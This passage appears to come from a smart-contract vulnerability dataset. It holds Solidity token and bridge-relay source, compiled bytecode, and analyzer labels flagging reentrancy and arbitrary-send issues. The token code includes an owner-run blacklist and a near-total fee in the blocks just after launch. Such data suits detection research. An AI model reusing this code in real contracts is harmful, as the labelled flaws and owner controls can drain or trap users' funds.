onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103a7578063dd62ed3e146103bc578063e98391ff14610402578063ec28438a14610422578063f429389014610442578063ffecf5161461045757600080fd5b80638da5cb5b146102d257806395d89b41146102fa5780639a590427146103275780639b19251a14610347578063a9059cbb14610367578063bf6642e71461038757600080fd5b806327a14fc21161010857806327a14fc21461022c578063313ce5671461024c57806351bc3c85146102685780635932ead11461027d57806370a082311461029d578063715018a6146102bd57600080fd5b806306fdde0314610150578063095ea7b31461019357806318160ddd146101c357806323b872dd146101ea578063273123b71461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260088152674b61676520496e7560c01b60208201525b60405161018a9190611ac1565b60405180910390f35b34801561019f57600080fd5b506101b36101ae366004611a19565b610477565b604051901515815260200161018a565b3480156101cf57600080fd5b5069152d02c7e14af68000005b60405190815260200161018a565b3480156101f657600080fd5b506101b36102053660046119d9565b61048e565b34801561021657600080fd5b5061022a610225366004611969565b6104f7565b005b34801561023857600080fd5b5061022a610247366004611a7c565b61054b565b34801561025857600080fd5b506040516009815260200161018a565b34801561027457600080fd5b5061022a610589565b34801561028957600080fd5b5061022a610298366004611a44565b6105a2565b3480156102a957600080fd5b506101dc6102b8366004611969565b6105ea565b3480156102c957600080fd5b5061022a61060c565b3480156102de57600080fd5b506000546040516001600160a01b03909116815260200161018a565b34801561030657600080fd5b506040805180820190915260048152634b41474560e01b602082015261017d565b34801561033357600080fd5b5061022a610342366004611969565b610680565b34801561035357600080fd5b5061022a610362366004611969565b6106cb565b34801561037357600080fd5b506101b3610382366004611a19565b610719565b34801561039357600080fd5b5061022a6103a2366004611a7c565b610726565b3480156103b357600080fd5b5061022a610755565b3480156103c857600080fd5b506101dc6103d73660046119a1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040e57600080fd5b5061022a61041d366004611a44565b610b2f565b34801561042e57600080fd5b5061022a61043d366004611a7c565b610b77565b34801561044e57600080fd5b5061022a610bb5565b34801561046357600080fd5b5061022a610472366004611969565b610bbf565b6000610484338484610c0d565b5060015b92915050565b600061049b848484610d31565b6104ed84336104e885604051806060016040528060288152602001611c61602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611218565b610c0d565b5060019392505050565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161052190611b14565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105755760405162461bcd60e51b815260040161052190611b14565b61058381633b9aca00611bf1565b600d5550565b6000610594306105ea565b905061059f81611252565b50565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161052190611b14565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610488906113f7565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161052190611b14565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106aa5760405162461bcd60e51b815260040161052190611b14565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106f55760405162461bcd60e51b815260040161052190611b14565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000610484338484610d31565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161052190611b14565b600c55565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161052190611b14565b601354600160a01b900460ff16156107d95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610521565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610817308269152d02c7e14af6800000610c0d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085057600080fd5b505afa158015610864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108889190611985565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d057600080fd5b505afa1580156108e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109089190611985565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095057600080fd5b505af1158015610964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109889190611985565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109b8816105ea565b6000806109cd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3057600080fd5b505af1158015610a44573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a699190611a94565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2b9190611a60565b5050565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161052190611b14565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba15760405162461bcd60e51b815260040161052190611b14565b610baf81633b9aca00611bf1565b600a5550565b4761059f8161147b565b6000546001600160a01b03163314610be95760405162461bcd60e51b815260040161052190611b14565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610521565b6001600160a01b038216610cd05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610521565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610521565b6001600160a01b038216610df75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610521565b60008111610e595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610521565b6001600e556009600f556000546001600160a01b03848116911614801590610e8f57506000546001600160a01b03838116911614155b8015610ea457506001600160a01b0383163014155b8015610ec957506001600160a01b03831660009081526005602052604090205460ff16155b8015610eee57506001600160a01b03821660009081526005602052604090205460ff16155b156111fd576001600160a01b03831660009081526006602052604090205460ff16158015610f3557506001600160a01b03821660009081526006602052604090205460ff16155b610f3e57600080fd5b6013546001600160a01b038481169116148015610f6957506012546001600160a01b03838116911614155b8015610f8e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610fa35750601354600160b81b900460ff165b156110e057600a54811115610ffa5760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610521565b6001600160a01b03821660009081526007602052604090205442116110565760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610521565b600d5481611063846105ea565b61106d9190611bb9565b11156110bb5760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610521565b6110c642601e611bb9565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561110b57506012546001600160a01b03848116911614155b801561113057506001600160a01b03831660009081526005602052604090205460ff16155b15611140576001600e556009600f555b43600b5460036111509190611bb9565b1015801561116b57506013546001600160a01b038481169116145b1561117b576001600e556063600f555b6000611186306105ea565b600c54909150811080159081906111a75750601354600160a81b900460ff16155b80156111c157506013546001600160a01b03868116911614155b80156111d65750601354600160b01b900460ff165b156111f6576111e482611252565b4780156111f4576111f44761147b565b505b5050611208565b6000600e819055600f555b611213838383611500565b505050565b6000818484111561123c5760405162461bcd60e51b81526004016105219190611ac1565b5060006112498486611c10565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190611985565b8160018151811061135557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461137b9130911684610c0d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b4908590600090869030904290600401611b49565b600060405180830381600087803b1580156113ce57600080fd5b505af11580156113e2573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060085482111561145e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610521565b600061146861150b565b9050611474838261152e565b9392505050565b6010546001600160a01b03166108fc61149583600261152e565b6040518115909202916000818181858888f193505050501580156114bd573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114d883600261152e565b6040518115909202916000818181858888f19350505050158015610b2b573d6000803e3d6000fd5b611213838383611570565b6000806000611518611667565b9092509050611527828261152e565b9250505090565b600061147483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ab565b600080600080600080611582876116d9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115b49087611736565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115e39086611778565b6001600160a01b038916600090815260026020526040902055611605816117d7565b61160f8483611821565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165491815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af6800000611684828261152e565b8210156116a25750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116cc5760405162461bcd60e51b81526004016105219190611ac1565b5060006112498486611bd1565b60008060008060008060008060006116f68a600e54600f54611845565b925092509250600061170661150b565b905060008060006117198e87878761189a565b919e509c509a509598509396509194505050505091939550919395565b600061147483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611218565b6000806117858385611bb9565b9050838110156114745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610521565b60006117e161150b565b905060006117ef83836118ea565b3060009081526002602052604090205490915061180c9082611778565b30600090815260026020526040902055505050565b60085461182e9083611736565b60085560095461183e9082611778565b6009555050565b600080808061185f606461185989896118ea565b9061152e565b9050600061187260646118598a896118ea565b9050600061188a826118848b86611736565b90611736565b9992985090965090945050505050565b60008080806118a988866118ea565b905060006118b788876118ea565b905060006118c588886118ea565b905060006118d7826118848686611736565b939b939a50919850919650505050505050565b6000826118f957506000610488565b60006119058385611bf1565b9050826119128583611bd1565b146114745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610521565b60006020828403121561197a578081fd5b813561147481611c3d565b600060208284031215611996578081fd5b815161147481611c3d565b600080604083850312156119b3578081fd5b82356119be81611c3d565b915060208301356119ce81611c3d565b809150509250929050565b6000806000606084860312156119ed578081fd5b83356119f881611c3d565b92506020840135611a0881611c3d565b929592945050506040919091013590565b60008060408385031215611a2b578182fd5b8235611a3681611c3d565b946020939093013593505050565b600060208284031215611a55578081fd5b813561147481611c52565b600060208284031215611a71578081fd5b815161147481611c52565b600060208284031215611a8d578081fd5b5035919050565b600080600060608486031215611aa8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611aed57858101830151858201604001528201611ad1565b81811115611afe5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b985784516001600160a01b031683529383019391830191600101611b73565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bcc57611bcc611c27565b500190565b600082611bec57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c0b57611c0b611c27565b500290565b600082821015611c2257611c22611c27565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461059f57600080fd5b801515811461059f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9670270ed4b8accbfddd28d00fa53ad3d4363f1f4b0ed37458a599c10c877fc64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,592
0x43c313edfa229b6f4649c346ddbaba4f90ef98fe
pragma solidity ^0.4.24; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: contracts/ERC20Relay.sol contract ERC20Relay is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; string public constant VERSION = "1.0.0"; /* Managers */ address public verifierManager; address public feeManager; event NewVerifierManager( address indexed previousManager, address indexed newManager ); event NewFeeManager( address indexed previousManager, address indexed newManager ); /* Verifiers */ uint256 constant MINIMUM_VERIFIERS = 3; uint256 public requiredVerifiers; address[] private verifiers; mapping (address => uint256) private verifierAddressToIndex; /* Withdrawals */ uint256 constant GAS_PRICE = 20 * 10 ** 9; uint256 constant ESTIMATED_GAS_PER_VERIFIER = 54301; uint256 constant ESTIMATED_GAS_PER_WITHDRAWAL= 73458; uint256 public nctEthExchangeRate; uint256 public fees; address public feeWallet; struct Withdrawal { address destination; uint256 amount; bool processed; } mapping (bytes32 => Withdrawal) public withdrawals; mapping (bytes32 => address[]) public withdrawalApprovals; event WithdrawalProcessed( address indexed destination, uint256 amount, bytes32 txHash, bytes32 blockHash, uint256 blockNumber ); event FeesChanged( uint256 newFees ); /* Sidechain anchoring */ struct Anchor { bytes32 blockHash; uint256 blockNumber; bool processed; } Anchor[] public anchors; mapping (bytes32 => address[]) public anchorApprovals; event AnchoredBlock( bytes32 indexed blockHash, uint256 indexed blockNumber ); event ContestedBlock( bytes32 indexed blockHash, uint256 indexed blockNumber ); ERC20 private token; constructor(address _token, uint256 _nctEthExchangeRate, address _feeWallet, address[] _verifiers) public { require(_token != address(0), "Invalid token address"); require(_verifiers.length >= MINIMUM_VERIFIERS, "Number of verifiers less than minimum"); // If set to address(0), onlyVerifierManager and onlyFeeManager are equivalent to onlyOwner verifierManager = address(0); feeManager = address(0); // Dummy verifier at index 0 verifiers.push(address(0)); for (uint256 i = 0; i < _verifiers.length; i++) { verifiers.push(_verifiers[i]); verifierAddressToIndex[_verifiers[i]] = i.add(1); } requiredVerifiers = calculateRequiredVerifiers(); nctEthExchangeRate = _nctEthExchangeRate; fees = calculateFees(); token = ERC20(_token); feeWallet = _feeWallet; } /** Disable usage of the fallback function */ function () external payable { revert("Do not allow sending Eth to this contract"); } modifier onlyVerifierManager() { if (verifierManager == address(0)) { require(msg.sender == owner, "Not a verifier manager"); } else { require(msg.sender == verifierManager, "Not a verifier manager"); } _; } function setVerifierManager(address newVerifierManager) external onlyOwner { emit NewVerifierManager(verifierManager, newVerifierManager); verifierManager = newVerifierManager; } modifier onlyFeeManager() { if (feeManager == address(0)) { require(msg.sender == owner, "Not a fee manager"); } else { require(msg.sender == feeManager, "Not a fee manager"); } _; } function setFeeManager(address newFeeManager) external onlyOwner { emit NewFeeManager(feeManager, newFeeManager); feeManager = newFeeManager; } function addVerifier(address addr) external onlyVerifierManager { require(addr != address(0), "Invalid verifier address"); require(verifierAddressToIndex[addr] == 0, "Address is already a verifier"); uint256 index = verifiers.push(addr); verifierAddressToIndex[addr] = index.sub(1); requiredVerifiers = calculateRequiredVerifiers(); fees = calculateFees(); } function removeVerifier(address addr) external onlyVerifierManager { require(addr != address(0), "Invalid verifier address"); require(verifierAddressToIndex[addr] != 0, "Address is not a verifier"); require(verifiers.length.sub(1) > MINIMUM_VERIFIERS, "Removing verifier would put number of verifiers below minimum"); uint256 index = verifierAddressToIndex[addr]; require(verifiers[index] == addr, "Verifier address not present in verifiers array"); verifiers[index] = verifiers[verifiers.length.sub(1)]; verifierAddressToIndex[verifiers[verifiers.length.sub(1)]] = index; delete verifierAddressToIndex[addr]; verifiers.length = verifiers.length.sub(1); requiredVerifiers = calculateRequiredVerifiers(); fees = calculateFees(); } function activeVerifiers() public view returns (address[]) { require(verifiers.length > 0, "Invalid number of verifiers"); address[] memory ret = new address[](verifiers.length.sub(1)); // Skip dummy verifier at index 0 for (uint256 i = 1; i < verifiers.length; i++) { ret[i.sub(1)] = verifiers[i]; } return ret; } function numberOfVerifiers() public view returns (uint256) { require(verifiers.length > 0, "Invalid number of verifiers"); return verifiers.length.sub(1); } function calculateRequiredVerifiers() internal view returns(uint256) { return numberOfVerifiers().mul(2).div(3); } function isVerifier(address addr) public view returns (bool) { return verifierAddressToIndex[addr] != 0 && verifiers[verifierAddressToIndex[addr]] == addr; } modifier onlyVerifier() { require(isVerifier(msg.sender), "msg.sender is not verifier"); _; } function setNctEthExchangeRate(uint256 _nctEthExchangeRate) external onlyFeeManager { nctEthExchangeRate = _nctEthExchangeRate; fees = calculateFees(); emit FeesChanged(fees); } function calculateFees() internal view returns (uint256) { uint256 estimatedGas = ESTIMATED_GAS_PER_VERIFIER.mul(numberOfVerifiers()) .add(ESTIMATED_GAS_PER_WITHDRAWAL); return estimatedGas.mul(GAS_PRICE).mul(nctEthExchangeRate); } function approveWithdrawal( address destination, uint256 amount, bytes32 txHash, bytes32 blockHash, uint256 blockNumber ) external onlyVerifier { require(amount > fees, "Withdrawal amount is less than or equal to fees"); require(destination != address(0), "Invalid destination address"); bytes32 hash = keccak256(abi.encodePacked(txHash, blockHash, blockNumber)); uint256 net = amount.sub(fees); if (withdrawals[hash].destination == address(0)) { withdrawals[hash] = Withdrawal(destination, net, false); } Withdrawal storage w = withdrawals[hash]; address[] storage approvals = withdrawalApprovals[hash]; require(w.destination == destination, "Destination mismatch"); require(w.amount == net, "Amount mismatch"); for (uint256 i = 0; i < approvals.length; i++) { require(approvals[i] != msg.sender, "Already approved withdrawal"); } approvals.push(msg.sender); if (approvals.length >= requiredVerifiers && !w.processed) { if (fees != 0 && feeWallet != address(0)) { token.safeTransfer(feeWallet, fees); } // We require that amount > fees therefore net > 0 token.safeTransfer(destination, net); w.processed = true; emit WithdrawalProcessed(destination, net, txHash, blockHash, blockNumber); } } // Allow verifiers to retract their withdrawals in the case of a chain // reorganization. This shouldn&#39;t happen but is possible. function unapproveWithdrawal( bytes32 txHash, bytes32 blockHash, uint256 blockNumber ) external onlyVerifier { bytes32 hash = keccak256(abi.encodePacked(txHash, blockHash, blockNumber)); require(withdrawals[hash].destination != address(0), "No such withdrawal"); Withdrawal storage w = withdrawals[hash]; address[] storage approvals = withdrawalApprovals[hash]; require(!w.processed, "Withdrawal already processed"); uint256 length = approvals.length; for (uint256 i = 0; i < length; i++) { if (approvals[i] == msg.sender) { approvals[i] = approvals[length.sub(1)]; delete approvals[length.sub(1)]; approvals.length = approvals.length.sub(1); break; } } } function anchor(bytes32 blockHash, uint256 blockNumber) external onlyVerifier { // solium-disable-next-line operator-whitespace if (anchors.length == 0 || anchors[anchors.length.sub(1)].blockHash != blockHash || anchors[anchors.length.sub(1)].blockNumber != blockNumber) { // Emit event to alert the last anchor was never confirmed if (anchors.length > 0 && !anchors[anchors.length.sub(1)].processed) { Anchor storage last = anchors[anchors.length.sub(1)]; emit ContestedBlock(last.blockHash, last.blockNumber); } anchors.push(Anchor(blockHash, blockNumber, false)); } bytes32 hash = keccak256(abi.encodePacked(blockHash, blockNumber)); Anchor storage a = anchors[anchors.length.sub(1)]; address[] storage approvals = anchorApprovals[hash]; require(a.blockHash == blockHash, "Block hash mismatch"); require(a.blockNumber == blockNumber, "Block number mismatch"); for (uint256 i = 0; i < approvals.length; i++) { require(approvals[i] != msg.sender, "Already approved anchor block"); } approvals.push(msg.sender); if (approvals.length >= requiredVerifiers && !a.processed) { a.processed = true; emit AnchoredBlock(blockHash, blockNumber); } } function unanchor() external onlyVerifier { Anchor storage a = anchors[anchors.length.sub(1)]; require(!a.processed, "Block anchor already processed"); bytes32 hash = keccak256(abi.encodePacked(a.blockHash, a.blockNumber)); address[] storage approvals = anchorApprovals[hash]; uint256 length = approvals.length; for (uint256 i = 0; i < length; i++) { if (approvals[i] == msg.sender) { approvals[i] = approvals[length.sub(1)]; delete approvals[length.sub(1)]; approvals.length = approvals.length.sub(1); break; } } } }
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166309bf284c81146101c95780630cbd99a6146101e057806316878b07146102115780633310521814610276578063368b733e146102ab578063472d35b9146102e3578063485b7780146103045780634960ae421461031f578063531d4c6c1461034657806363cb344e1461035b578063715018a614610373578063783a2cca146103885780638da5cb5b146103b55780638f5bae2e146103ca5780639000b3d6146103e55780639a02d3ac146104065780639af1d35a146104245780639f371bf314610439578063bc9e080e1461044e578063ca2dfd0a1461046f578063cadef23214610490578063d0fb0203146104ab578063efbf64a7146104c0578063f25f4b5614610502578063f2fde38b14610517578063ffa1ad7414610538575b6040805160e560020a62461bcd02815260206004820152602960248201527f446f206e6f7420616c6c6f772073656e64696e672045746820746f207468697360448201527f20636f6e74726163740000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3480156101d557600080fd5b506101de6105c2565b005b3480156101ec57600080fd5b506101f5610846565b60408051600160a060020a039092168252519081900360200190f35b34801561021d57600080fd5b50610226610855565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561026257818101518382015260200161024a565b505050509050019250505060405180910390f35b34801561028257600080fd5b50610297600160a060020a0360043516610969565b604080519115158252519081900360200190f35b3480156102b757600080fd5b506102c36004356109d0565b604080519384526020840192909252151582820152519081900360600190f35b3480156102ef57600080fd5b506101de600160a060020a0360043516610a04565b34801561031057600080fd5b506101f5600435602435610a77565b34801561032b57600080fd5b50610334610aae565b60408051918252519081900360200190f35b34801561035257600080fd5b50610334610b24565b34801561036757600080fd5b506101de600435610b2a565b34801561037f57600080fd5b506101de610c4c565b34801561039457600080fd5b506101de600160a060020a0360043516602435604435606435608435610cab565b3480156103c157600080fd5b506101f5611184565b3480156103d657600080fd5b506101de600435602435611193565b3480156103f157600080fd5b506101de600160a060020a036004351661164f565b34801561041257600080fd5b506101de600435602435604435611865565b34801561043057600080fd5b50610334611b35565b34801561044557600080fd5b50610334611b3b565b34801561045a57600080fd5b506101de600160a060020a0360043516611b41565b34801561047b57600080fd5b506101de600160a060020a0360043516611bb4565b34801561049c57600080fd5b506101f5600435602435611f7b565b3480156104b757600080fd5b506101f5611f96565b3480156104cc57600080fd5b506104d8600435611fa5565b60408051600160a060020a0390941684526020840192909252151582820152519081900360600190f35b34801561050e57600080fd5b506101f5611fd3565b34801561052357600080fd5b506101de600160a060020a0360043516611fe2565b34801561054457600080fd5b5061054d612005565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561058757818101518382015260200161056f565b50505050905090810190601f1680156105b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60008060008060006105d333610969565b1515610617576040805160e560020a62461bcd02815260206004820152601a602482015260008051602061227d833981519152604482015290519081900360640190fd5b600b805461062c90600163ffffffff61203c16565b8154811061063657fe5b60009182526020909120600390910201600281015490955060ff16156106a6576040805160e560020a62461bcd02815260206004820152601e60248201527f426c6f636b20616e63686f